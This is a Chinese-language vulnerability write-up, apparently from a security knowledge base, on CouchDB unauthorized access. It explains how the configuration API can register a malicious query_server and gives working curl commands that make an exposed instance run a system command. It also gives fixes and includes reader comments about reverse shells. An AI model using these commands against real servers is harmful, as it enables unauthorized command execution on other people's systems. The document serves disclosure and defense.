利用CouchDB未授权访问漏洞执行任意系统命令

0x00 前言


5月16日阿里云盾攻防对抗团队从外部渠道获知CouchDB数据库存在未授权访问漏洞(在配置不正确的情况下)。经过测试,云盾团队率先发现利用该未授权访问漏洞不仅会造成数据的丢失和泄露,甚至可执行任意系统命令。云盾安全专家团队第一时间完成了漏洞上报、安全评级,并通知了所有可能受影响的用户。下面将对该漏洞的出处和技术细节做详细解释。

0x01 漏洞的来龙去脉


CouchDB 是一个开源的面向文档的数据库管理系统,可以通过 RESTful JavaScript Object Notation (JSON) API 访问。CouchDB会默认会在5984端口开放Restful的API接口,用于数据库的管理功能。

那么,问题出在哪呢?翻阅官方描述会发现,CouchDB中有一个Query_Server的配置项,在官方文档中是这么描述的:

CouchDB delegates computation of design documents functions to external query servers. The external query server is a special OS process which communicates with CouchDB over standard input/output using a very simple line-based protocol with JSON messages.

直白点说,就是CouchDB允许用户指定一个二进制程序或者脚本,与CouchDB进行数据交互和处理,query_server在配置文件local.ini中的格式:

[query_servers]
LANGUAGE = PATH ARGS

默认情况下,配置文件中已经设置了两个query_servers:

[query_servers]
javascript = /usr/bin/couchjs /usr/share/couchdb/server/main.js
coffeescript = /usr/bin/couchjs /usr/share/couchdb/server/main-coffee.js

可以看到,CouchDB在query_server中引入了外部的二进制程序来执行命令,如果我们可以更改这个配置,那么就可以利用数据库来执行命令了,但是这个配置是在local.ini文件中的,如何控制呢?

继续读官方的文档,发现了一个有意思的功能,CouchDB提供了一个API接口用来更改自身的配置,并把修改后的结果保存到配置文件中:

The CouchDB Server Configuration API provide an interface to query and update the various configuration values within a running CouchDB instance

也就是说,除了local.ini的配置文件,CouchDB允许通过自身提供的Restful API接口动态修改配置属性。结合以上两点,我们可以通过一个未授权访问的CouchDB,通过修改其query_server配置,来执行系统命令。

0x02 漏洞的POC


新增query_server配置,这里执行ifconfig命令

#!shell
curl -X PUT 'http://1.1.1.1:5984/_config/query_servers/cmd' -d '"/sbin/ifconfig >/tmp/6666"'

新建一个临时表,插入一条记录

#!shell
curl -X PUT 'http://1.1.1.1:5984/vultest'
curl -X PUT 'http://1.1.1.1:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'

调用query_server处理数据

#!shell
curl -X POST 'http://1.1.1.1:5984/vultest/_temp_view?limit=11' -d '{"language":"cmd","map":""}' -H 'Content-Type: application/json'

执行后,可以看到,指定的命令已经成功执行:

至于如何回显执行结果,各位可以动动脑筋,欢迎互动。

0x03 漏洞修复建议:


1、指定CouchDB绑定的IP (需要重启CouchDB才能生效) 在 /etc/couchdb/local.ini 文件中找到 “bind_address = 0.0.0.0” ,把 0.0.0.0 修改为 127.0.0.1 ,然后保存。注:修改后只有本机才能访问CouchDB。

2、设置访问密码 (需要重启CouchDB才能生效) 在 /etc/couchdb/local.ini 中找到“[admins]”字段配置密码。

附:参考链接:

©乌云知识库版权所有 未经许可 禁止转载


30
test 2016-05-20 21:30:03

how to avoid `kill -9 1759` in results ?

30
jjboom 2016-05-20 00:25:42

@小饼仔 插入数据不会调用的。他的query_server作用是使用用户自定义的代码处理存储的数据,类似mysql的udf,需要先插入数据,再次查询这些数据的时候,触发payload

30
小饼仔 2016-05-20 00:18:58

文中这句 “调用query_server处理数据”,然后执行了命令
之前插入数据不会触发,调用query_server吗?

30
放开那个大婶 2016-05-19 20:07:15

@cfan 那是因为你反弹shell的命令会一直执行,

30
伤心 2016-05-19 19:03:07

菊爷666

30
Sai、 2016-05-19 17:33:07

Mark了,又一个未授权访问的洞

30
cfan 2016-05-19 16:15:33

一般都设置密码了。
执行反弹命令,过几秒就断一下,不需要重新执行命令,他会自动连过来!

30
jjboom 2016-05-19 16:00:59

@EvilAnne 提示这个说明couchdb已经设置了密码了。

30
EvilAnne 2016-05-19 13:31:22

测试大部分都是这样呢 ~
" {"error":"unauthorized","reason":"server_admin access is required for this request"} "

30
cf_hb 2016-05-19 12:46:55

学习了

30
ghy459 2016-05-19 09:33:45

1wb出文章作者果照

30
气质鸵鸟 2016-05-19 09:30:32

菊菊菊

30
憔悴 2016-05-19 09:26:17

:)

30
放开那个大婶 2016-05-19 09:12:53

666

30
BIC 2016-05-19 09:10:59

赞~\(≧▽≦)/~

感谢知乎授权页面模版